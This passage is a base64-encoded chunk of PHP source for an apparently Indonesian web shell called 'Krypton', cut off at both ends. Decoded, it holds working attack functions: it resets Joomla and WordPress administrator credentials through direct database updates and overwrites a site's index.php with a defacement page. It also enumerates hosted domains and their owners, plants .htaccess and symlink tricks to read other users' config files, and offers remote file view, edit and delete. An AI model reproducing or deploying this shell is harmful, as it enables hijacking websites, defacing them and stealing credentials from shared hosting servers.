gJHBkICAgICAgICA9ICgkX1BPU1RbInB3ZCJdKTsKICAgICAgICAkcHdkICAgICAgID0gbWQ1KCRwZCk7CiAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGxvY2FsaG9zdCwgJHVzZXJuYW1lLCAkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOwogICAgICAgICRTUUwgPSBAbXlzcWxfcXVlcnkoIlVQREFURSAiIC4gJHByZWZpeCAuICJ1c2VycyBTRVQgdXNlcm5hbWUgPSciIC4gJGFkbWluIC4gIicgV0hFUkUgbmFtZSA9ICdTdXBlciBVc2VyJyBvciBuYW1lID0gJ1N1cGVyIFV0aWxpc2F0ZXVyJyBvciBpZD0nNjInIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwogICAgICAgICRTUUwgPSBAbXlzcWxfcXVlcnkoIlVQREFURSAiIC4gJHByZWZpeCAuICJ1c2VycyBTRVQgcGFzc3dvcmQgPSciIC4gJHB3ZCAuICInIFdIRVJFIG5hbWUgPSAnU3VwZXIgVXNlcicgb3IgbmFtZSA9ICdTdXBlciBVdGlsaXNhdGV1cicgb3IgaWQ9JzYyJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKICAgICAgICBpZiAoJFNRTCkKICAgICAgICAgICAgZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lLi4uIGdvIGFuZCBsb2dpbjwvaDE+PC9jZW50ZXI+IjsKICAgIH0KfSBlbHNlaWYgKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb21haW5zJykpIHsKICAgIGVjaG8gIjxicj48YnI+PHAgYWxpZ249Y2VudGVyPkRvbWFpbnMgYW5kIFVzZXJzPC9wPiI7CiAgICAkZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsKICAgIGlmICghJGQwbWFpbnMpIHsKICAgICAgICBkaWUoIjxjZW50ZXI+RXJyb3IgOiBpIGNhbid0IHJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXTwvY2VudGVyPiIpOwogICAgfQogICAgZWNobyAnPHRhYmxlIGlkPSJvdXRwdXQiPjx0ciBiZ2NvbG9yPSNjZWNlY2U+PHRkPkRvbWFpbnM8L3RkPjx0ZD51c2VyczwvdGQ+PC90cj4nOwogICAgZm9yZWFjaCAoJGQwbWFpbnMgYXMgJGQwbWFpbikgewogICAgICAgIGlmIChlcmVnaSgiem9uZSIsICRkMG1haW4pKSB7CiAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwogICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICBpZiAoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpIHsKICAgICAgICAgICAgICAgICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iIC4gJGRvbWFpbnNbMV1bMF0pKTsKICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIgLiAkZG9tYWluc1sxXVswXSAuICIvPiIgLiAkZG9tYWluc1sxXVswXSAuICI8L2E+PC90ZD48dGQ+IiAuICR1c2VyWyduYW1lJ10gLiAiPC90ZD48L3RyPiI7CiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgZXhpdCgpOwp9IAplbHNlaWYgKGlzc2V0KCRfR0VUWydrcnlwdG9uJ10pKSB7CiAgICBnbG9iYWwgJGRvLCAkc2NueWE7CiAgICBmdW5jdGlvbiBkZWZhY2Vhbigkc2NueWEpewogICAgICAgICRkbz0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwogICAgICAgIGNoZGlyKCRkbyk7CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygnZndyaXRlJykpCiAgICAgICAgewogICAgICAgICAgICAkc2NyaXB0PWZvcGVuKCJpbmRleC5waHAiLCAid2IiKTsKICAgICAgICAgICAgaWYoJHNjcmlwdCkKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGZ3cml0ZSgkc2NyaXB0LCAkc2NueWEpOwogICAgICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5hbGVydCgiQmVyaGFzaWwgRGVmYWNlIDp2ID0+IGluZGV4LnBocCIpOzwvc2NyaXB0Pic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICBlY2hvICc8c2NyaXB0PmFsZXJ0KCJBa3NlcyBEaXRvbGFrIik8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZjbG9zZSgkc2NyaXB0KTsKICAgICAgICB9CiAgICB9CiAgICA/Pgo8YnIvPjxici8+Cn0KZWxzZWlmIChpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnd29yZHByZXNzJykpIHsKICAgIGlmIChlbXB0eSgkX1BPU1RbJ3B3ZCddKSkgewogICAgICAgIGVjaG8gIjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+REJfUHJlZml4IDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSd3cF8nIG5hbWU9J3ByZWZpeCcgdHlwZT0ndGV4dCc+Jm5ic3A7Jm5ic3A7aG9zdCAgICAgOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2xvY2FsaG9zdCcgbmFtZT0nbG9jYWxob3N0JyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDtkYXRhYmFzZSA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nRGF0YWJhc2UnIG5hbWU9J2RhdGFiYXNlJyB0eXBlPSd0ZXh0Jz4mbmJzcDsmbmJzcDt1c2VybmFtZSA6ICA8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGJfdXNlcicgbmFtZT0ndXNlcm5hbWUnIHR5cGU9J3RleHQnPiZuYnNwOyZuYnNwO3Bhc3N3b3JkIDogIDxJTlBVVCBjbGFzcyA9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl9wYXNzJyBuYW1lPSdwYXNzd29yZCcgdHlwZT0ndGV4dCc+Jm5ic3A7Jm5ic3A7PGJyPjxicj5OZXcgdXNlcm5hbWUgOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBuYW1lPSdhZG1pbicgc2l6ZT0nMTUnIHZhbHVlPSdrMic+PGJyPjxicj5OZXcgcGFzc3dvcmQgOiAgPElOUFVUIGNsYXNzID0naW5wdXR6JyBuYW1lPSdwd2QnIHNpemU9JzE1JyB2YWx1ZT0nMTIzMTIzJz48YnI+Jm5ic3A7Jm5ic3A7PGJyPjxJTlBVVCBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nY2hhbmdlJyBuYW1lPSdzZW5kJyB0eXBlPSdzdWJtaXQnPjwvRk9STT4iOwogICAgfSBlbHNlIHsKICAgICAgICAkcHJlZml4ICAgID0gJF9QT1NUWydwcmVmaXgnXTsKICAgICAgICAkbG9jYWxob3N0ID0gJF9QT1NUWydsb2NhbGhvc3QnXTsKICAgICAgICAkZGF0YWJhc2UgID0gJF9QT1NUWydkYXRhYmFzZSddOwogICAgICAgICR1c2VybmFtZSAgPSAkX1BPU1RbJ3VzZXJuYW1lJ107CiAgICAgICAgJHBhc3N3b3JkICA9ICRfUE9TVFsncGFzc3dvcmQnXTsKICAgICAgICAkcHdkICAgICAgID0gJF9QT1NUWydwd2QnXTsKICAgICAgICAkYWRtaW4gICAgID0gJF9QT1NUWydhZG1pbiddOwogICAgICAgIEBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsICR1c2VybmFtZSwgJHBhc3N3b3JkKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGF0YWJhc2UpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKICAgICAgICAkaGFzaCA9IGNyeXB0KCRwd2QpOwogICAgICAgICRrMiA9IEBteXNxbF9xdWVyeSgiVVBEQVRFICIgLiAkcHJlZml4IC4gInVzZXJzIFNFVCB1c2VyX2xvZ2luID0nIiAuICRhZG1pbiAuICInIFdIRVJFIElEID0gMSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKICAgICAgICAkazIgPSBAbXlzcWxfcXVlcnkoIlVQREFURSAiIC4gJHByZWZpeCAuICJ1c2VycyBTRVQgdXNlcl9wYXNzID0nIiAuICRoYXNoIC4gIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwogICAgICAgIGlmICgkazIpIHsKICAgICAgICAgICAgZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lIC4uLiBnbyBhbmQgbG9naW48L2gxPjwvY2VudGVyPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+JzsKfSBlbHNlaWYgKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzdHJpbmcnKSkgewogICAgJHRleHQgPSAkX1BPU1RbJ2NvZGUnXTsKPz48Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCI+PGJyPjxicj48YnI+PHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9ODAgcm93cz01IG5hbWU9ImNvZGUiPktyeXB0b248L3RleHRhcmVhPjxicj48YnI+PHNlbGVjdCBjbGFzcz0naW5wdXR6JyBzaXplPSIxIiBuYW1lPSJvcGUiPjxvcHRpb24gdmFsdWU9ImJhc2U2NCI+QmFzZTY0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWQ1Ij5tZDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3aGFzaCI+Q3J5cHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJTSEExIj5TSEExPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idXJsZW5jb2RlIj5VUkwgRW5jb2Rpbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtZDQiPm1kNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IlNIQTI1NiI+U0hBMjU2PC9vcHRpb24+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2VuY3J5cHQnPjwvZm9ybT48P3BocAogICAgJG9wID0gJF9QT1NUWyJvcGUiXTsKICAgIHN3aXRjaCAoJG9wKSB7CiAgICAgICAgY2FzZSAnYmFzZTY0JzoKICAgICAgICAgICAgJGNvZGkgPSBiYXNlNjRfZW5jb2RlKCR0ZXh0KTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnbWQ1JzoKICAgICAgICAgICAgJGNvZGkgPSBtZDUoJHRleHQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd3aGFzaCc6CiAgICAgICAgICAgICRjb2RpID0gY3J5cHQoJHRleHQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdTSEExJzoKICAgICAgICAgICAgJGNvZGkgPSBzaGExKCR0ZXh0KTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAndXJsZW5jb2RlJzoKICAgICAgICAgICAgJGNvZGkgPSB1cmxlbmNvZGUoJHRleHQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdtZDQnOgogICAgICAgICAgICAkY29kaSA9IGhhc2goIm1kNCIsICR0ZXh0KTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnU0hBMjU2JzoKICAgICAgICAgICAgJGNvZGkgPSBoYXNoKCJzaGEyNTYiLCAkdGV4dCk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgIGJyZWFrOwogICAgfQogICAgZWNobyAnPHRleHRhcmVhIGNvbHM9ODAgcm93cz0xMCBjbGFzcz0iaW5wdXR6IiByZWFkb25seT4nIC4gJGNvZGkgLiAnPC90ZXh0YXJlYT48L2NlbnRlcj4nOwp9IAplbHNlaWYgKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzeW0nKSkgewogICAgQHNldF90aW1lX2xpbWl0KDApOwogICAgQG1rZGlyKCdzeW0nLCAwNzc3KTsKICAgIGVycm9yX3JlcG9ydGluZygwKTsKICAgICRodGFjY2VzcyA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBnYXphLmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwogICAgJG9wICAgICAgID0gQGZvcGVuKCdzeW0vLmh0YWNjZXNzJywgJ3cnKTsKICAgIGZ3cml0ZSgkb3AsICRodGFjY2Vzcyk7CiAgICBlY2hvICc8Y2VudGVyPjxicj48YnI+PGZvcm0gbWV0aG9kPSJwb3N0Ij4gRmlsZSBQYXRoOjxicj48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgdmFsdWU9Ii9ob21lL3VzZXIvcHVibGljX2h0bWwvY29uZmlnLnBocCIgc2l6ZT0iNjAiLz48YnI+U3ltbGluayBOYW1lPGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiB2YWx1ZT0icy50eHQiIHNpemU9IjYwIi8+PGJyPjxicj48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic3ltbGluayIgbmFtZT0ic3ltbGluayIgLz48YnI+PGJyPjwvZm9ybT48L2NlbnRlcj4nOwogICAgJHRhcmdldCAgPSAkX1BPU1RbJ2ZpbGUnXTsKICAgICRzeW1maWxlID0gJF9QT1NUWydzeW1maWxlJ107CiAgICAkc3ltbGluayA9ICRfUE9TVFsnc3ltbGluayddOwogICAgaWYgKCRzeW1saW5rKSB7CiAgICAgICAgQHN5bWxpbmsoIiR0YXJnZXQiLCAic3ltLyRzeW1maWxlIik7CiAgICAgICAgZWNobyAnPGJyPjxjZW50ZXI+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9InN5bS8nIC4gJHN5bWZpbGUgLiAnIiA+JyAuICRzeW1maWxlIC4gJzwvYT48Y2VudGVyPic7CiAgICB9Cn0KIGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2Ntc2RldCcpKSB7CiAgICBlY2hvICRiZW5jb25nIC4gIjxjZW50ZXI+PHAgY2xhc3M9J2ZvbnQtZWZmZWN0LXNoYWRvdy1tdWx0aXBsZScgc3R5bGU9Zm9udC1mYW1pbHk6VWJ1bnR1O2ZvbnQtc2l6ZToyNXB4O2NvbG9yOiM1OEZBRjQ7PjxiPkNNUyBEZXRlY3RvcjwvYj48L3A+IjsKPz4KPGZvcm0gYWN0aW9uPSI/c2FkPTw/cGhwCiAgICBlY2hvICRwd2Q7Cj8+Jng9Y21zZGV0IiBtZXRob2Q9InBvc3QiPgo8YnI+PGJyPgo8P3BocAogICAgaWYgKCFmaWxlX2V4aXN0cygnYWcudG1wJykpIHsKICAgICAgICBAZm9wZW4oJ2FnLnRtcCcsICd3Jyk7CiAgICAgICAgCiAgICAgICAgZWNobyAnPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjQ1JSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSI0IiBjbGFzcz0idGQxIj4nOwogICAgICAgIGVjaG8gJzx0cj48dGQ+PGNlbnRlcj48Yj5TSVRFPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VVNFUjwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPkNNUzwvYj48L2NlbnRlcj48L3RkPjwvdGFibGU+JzsKICAgICAgICAKICAgICAgICAkcCA9IDA7CiAgICAgICAgCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCIvdmFyL25hbWVkIikpIHsKICAgICAgICAgICAgJGxpc3QgICAgICAgID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOwogICAgICAgICAgICAkY3VycmVudF9kaXIgPSBwb3NpeF9nZXRjd2QoKTsKICAgICAgICAgICAgJGRpciAgICAgICAgID0gZXhwbG9kZSgiLyIsICRjdXJyZW50X2Rpcik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRkb21haW4pIHsKICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGRvbWFpbiwgIi5kYiIpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCAnJywgJGRvbWFpbik7CiAgICAgICAgICAgICAgICAgICAgJG93bmVyICA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iIC4gJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGVycm9yX3JlcG9ydGluZygwKTsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAkbGluayA9ICRwYWdlVVJMIC4gJ3BlZS8nIC4gJG93bmVyWyduYW1lJ107CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgY21zX2FkZCgkbGluaywgJGRvbWFpbiwgJG93bmVyWyduYW1lJ10sICJXb3JkUHJlc3MiKTsKICAgICAgICAgICAgICAgICAgICBjbXNfYWRkKCRsaW5rLCAkZG9tYWluLCAkb3duZXJbJ25hbWUnXSwgIkpvb21sYSIpOwogICAgICAgICAgICAgICAgICAgIGNtc19hZGQoJGxpbmssICRkb21haW4sICRvd25lclsnbmFtZSddLCAidkJ1bGxldGluIik7CiAgICAgICAgICAgICAgICAgICAgY21zX2FkZCgkbGluaywgJGRvbWFpbiwgJG93bmVyWyduYW1lJ10sICJXSE1DUyIpOwogICAgICAgICAgICAgICAgICAgIGNtc19hZGQoJGxpbmssICRkb21haW4sICRvd25lclsnbmFtZSddLCAiUGhwQkIiKTsKICAgICAgICAgICAgICAgICAgICBjbXNfYWRkKCRsaW5rLCAkZG9tYWluLCAkb3duZXJbJ25hbWUnXSwgIk15QkIiKTsKICAgICAgICAgICAgICAgICAgICBjbXNfYWRkKCRsaW5rLCAkZG9tYWluLCAkb3duZXJbJ25hbWUnXSwgIklQQiIpOwogICAgICAgICAgICAgICAgICAgIGNtc19hZGQoJGxpbmssICRkb21haW4sICRvd25lclsnbmFtZSddLCAiU01GIik7CiAgICAgICAgICAgICAgICAgICAgY21zX2FkZCgkbGluaywgJGRvbWFpbiwgJG93bmVyWyduYW1lJ10sICJEcnVwYWwiKTsKICAgICAgICAgICAgICAgICAgICBjbXNfYWRkKCRsaW5rLCAkZG9tYWluLCAkb3duZXJbJ25hbWUnXSwgImUxMDciKTsKICAgICAgICAgICAgICAgICAgICBjbXNfYWRkKCRsaW5rLCAkZG9tYWluLCAkb3duZXJbJ25hbWUnXSwgIlNlZGl0aW8iKTsKICAgICAgICAgICAgICAgICAgICBjbXNfYWRkKCRsaW5rLCAkZG9tYWluLCAkb3duZXJbJ25hbWUnXSwgIm9zQ29tbWVyY2UiKTsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyAnPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjQ1JSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSI0IiBjbGFzcz0idGQxIj4nOwogICAgICAgIGVjaG8gJzx0cj48dGQ+PGNlbnRlcj48Yj5TSVRFPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+PGI+VVNFUjwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPkNNUzwvYj48L2NlbnRlcj48L3RkPjwvdGFibGU+PGJyPjxicj4nOwogICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHBhZ2VVUkwgLiAnYWcudG1wJyk7CiAgICAgICAgZWNobyAkY29udGVudDsKICAgIH0KfQoKZWxzZWlmIChpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAncGhwaW5mbycpKSB7CiAgICBAb2Jfc3RhcnQoKTsKICAgIEBldmFsKCJwaHBpbmZvKCk7Iik7CiAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgICRhd2FsICA9IHN0cnBvcygkYnVmZiwgIjxib2R5PiIpICsgNjsKICAgICRha2hpciA9IHN0cnBvcygkYnVmZiwgIjwvYm9keT4iKTsKICAgIGVjaG8gIjxkaXYgY2xhc3M9J3BocGluZm8nPiIgLiBzdWJzdHIoJGJ1ZmYsICRhd2FsLCAkYWtoaXIgLSAkYXdhbCkgLiAiPC9kaXY+IjsKfSBlbHNlaWYgKGlzc2V0KCRfR0VUWyd2aWV3J10pICYmICgkX0dFVFsndmlldyddICE9ICIiKSkgewogICAgaWYgKGlzX2ZpbGUoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICBpZiAoIWlzc2V0KCRmaWxlKSkKICAgICAgICAgICAgJGZpbGUgPSBtYWdpY2Jvb20oJF9HRVRbJ3ZpZXcnXSk7CiAgICAgICAgaWYgKCEkd2luICYmICRwb3NpeCkgewogICAgICAgICAgICAkbmFtZSAgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZSkpOwogICAgICAgICAgICAkZ3JvdXAgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZmlsZSkpOwogICAgICAgICAgICAkb3duZXIgPSAkbmFtZVsnbmFtZSddIC4gIjxzcGFuIGNsYXNzPSdnYXlhJz4gOiA8L3NwYW4+IiAuICRncm91cFsnbmFtZSddOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRvd25lciA9ICR1c2VyOwogICAgICAgIH0KICAgICAgICAkZmlsbiA9IGJhc2VuYW1lKCRmaWxlKTsKICAgICAgICBlY2hvICI8dGFibGUgc3R5bGU9J21hcmdpbjo2cHggMCAwIDJweDtsaW5lLWhlaWdodDoyMHB4Oyc+IDx0cj48dGQ+RmlsZW5hbWU8L3RkPjx0ZD48c3BhbiBpZD0nIiAuIGNsZWFyc3BhY2UoJGZpbG4pIC4gIl9saW5rJz4iIC4gJGZpbGUgLiAiPC9zcGFuPiA8Zm9ybSBhY3Rpb249Jz9zYWQ9IiAuICRwd2QgLiAiJmFtcDt2aWV3PSRmaWxlJyBtZXRob2Q9J3Bvc3QnIGlkPSciIC4gY2xlYXJzcGFjZSgkZmlsbikgLiAiX2Zvcm0nIGNsYXNzPSdzZW1idW55aScgc3R5bGU9J21hcmdpbjowO3BhZGRpbmc6MDsnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdvbGRuYW1lJyB2YWx1ZT0nIiAuICRmaWxuIC4gIicgc3R5bGU9J21hcmdpbjowO3BhZGRpbmc6MDsnIC8+IDxpbnB1dCBjbGFzcz0naW5wdXR6JyBzdHlsZT0nd2lkdGg6MjAwcHg7JyB0eXBlPSd0ZXh0JyBuYW1lPSduZXduYW1lJyB2YWx1ZT0nIiAuICRmaWxuIC4gIicgLz4gPGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0ncmVuYW1lJyB2YWx1ZT0ncmVuYW1lJyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBuYW1lPSdjYW5jZWwnIHZhbHVlPSdjYW5jZWwnIG9uY2xpY2s9J3R1a2FyKCciIC4gY2xlYXJzcGFjZSgkZmlsbikgLiAiX2xpbmsnLCciIC4gY2xlYXJzcGFjZSgkZmlsbikgLiAiX2Zvcm0nKTsnIC8+IDwvZm9ybT4gPC90ZD48L3RyPiA8dHI+PHRkPlNpemU8L3RkPjx0ZD4iIC4gdWt1cmFuKCRmaWxlKSAuICI8L3RkPjwvdHI+IDx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIgLiBnZXRfcGVybXMoJGZpbGUpIC4gIjwvdGQ+PC90cj4gPHRyPjx0ZD5Pd25lcjwvdGQ+PHRkPiIgLiAkb3duZXIgLiAiPC90ZD48L3RyPiA8dHI+PHRkPkNyZWF0ZSB0aW1lPC90ZD48dGQ+IiAuIGRhdGUoImQtTS1ZIEg6aSIsIEBmaWxlY3RpbWUoJGZpbGUpKSAuICI8L3RkPjwvdHI+IDx0cj48dGQ+TGFzdCBtb2RpZmllZDwvdGQ+PHRkPiIgLiBkYXRlKCJkLU0tWSBIOmkiLCBAZmlsZW10aW1lKCRmaWxlKSkgLiAiPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iIC4gZGF0ZSgiZC1NLVkgSDppIiwgQGZpbGVhdGltZSgkZmlsZSkpIC4gIjwvdGQ+PC90cj4gPHRyPjx0ZD5BY3Rpb25zPC90ZD48dGQ+PGEgaHJlZj0nP3NhZD0kcHdkJmFtcDtlZGl0PSRmaWxlJz5lZGl0PC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKFwiIiAuIGNsZWFyc3BhY2UoJGZpbG4pIC4gIl9saW5rJywnIiAuIGNsZWFyc3BhY2UoJGZpbG4pIC4gIl9mb3JtXCIpO1wiPnJlbmFtZTwvYT4gfCA8YSBocmVmPSc/c2FkPSRwd2QmYW1wO2RlbGV0ZT0kZmlsZSc+ZGVsZXRlPC9hPiB8IDxhIGhyZWY9Jz9zYWQ9JHB3ZCZhbXA7ZGw9JGZpbGUnPmRvd25sb2FkPC9hPiZuYnNwOyg8YSBocmVmPSc/c2FkPSRwd2QmYW1wO2RsZ3ppcD0kZmlsZSc+Z3ppcDwvYT4pPC90ZD48L3RyPiA8dHI+PHRkPlZpZXc8L3RkPjx0ZD48YSBocmVmPSc/c2FkPSIgLiAkcHdkIC4gIiZhbXA7dmlldz0iIC4gJGZpbGUgLiAiJz50ZXh0PC9hPiB8IDxhIGhyZWY9Jz9zYWQ9IiAuICRwd2QgLiAiJmFtcDt2aWV3PSIgLiAkZmlsZSAuICImYW1wO3R5cGU9Y29kZSc+Y29kZTwvYT4gfCA8YSBocmVmPSc/c2FkPSIgLiAkcHdkIC4gIiZhbXA7dmlldz0iIC4gJGZpbGUgLiAiJmFtcDt0eXBlPWltYWdlJz5pbWFnZTwvYT48L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAgIGlmIChpc3NldCgkX0dFVFsndHlwZSddKSAmJiAoJF9HRVRbJ3R5cGUnXSA9PSAnaW1hZ2UnKSkgewogICAgICAgICAgICBlY2hvICI8ZGl2IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46OHB4Oyc+PGltZyBzcmM9Jz9zYWQ9IiAuICRwd2QgLiAiJmFtcDtpbWc9IiAuICRmaWxuIC4gIic+PC9kaXY+IjsKICAgICAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ10gPT0gJ2NvZGUnKSkgewogICAgICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPSd2aWV3ZmlsZSc+IjsKICAgICAgICAgICAgJGZpbGUgPSB3b3Jkd3JhcChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpLCAiMjQwIiwgIlxuIik7CiAgICAgICAgICAgIEBoaWdobGlnaHRfc3RyaW5nKCRmaWxlKTsKICAgICAgICAgICAgZWNobyAiPC9kaXY+IjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPSd2aWV3ZmlsZSc+IjsKICAgICAgICAgICAgZWNobyBubDJicihodG1sZW50aXRpZXMoKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpKSk7CiAgICAgICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICAgICAgfQogICAgfSBlbHNlaWYgKGlzX2RpcigkX0dFVFsndmlldyddKSkgewogICAgICAgIGVjaG8gc2hvd2RpcigkcHdkLCAkcHJvbXB0KTsKICAgIH0KfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICgkX0dFVFsnZWRpdCddICE9ICIiKSkgewogICAgaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZSddKSkgewogICAgICAgICRmaWxlICAgID0gJF9QT1NUWydzYXZlYXMnXTsK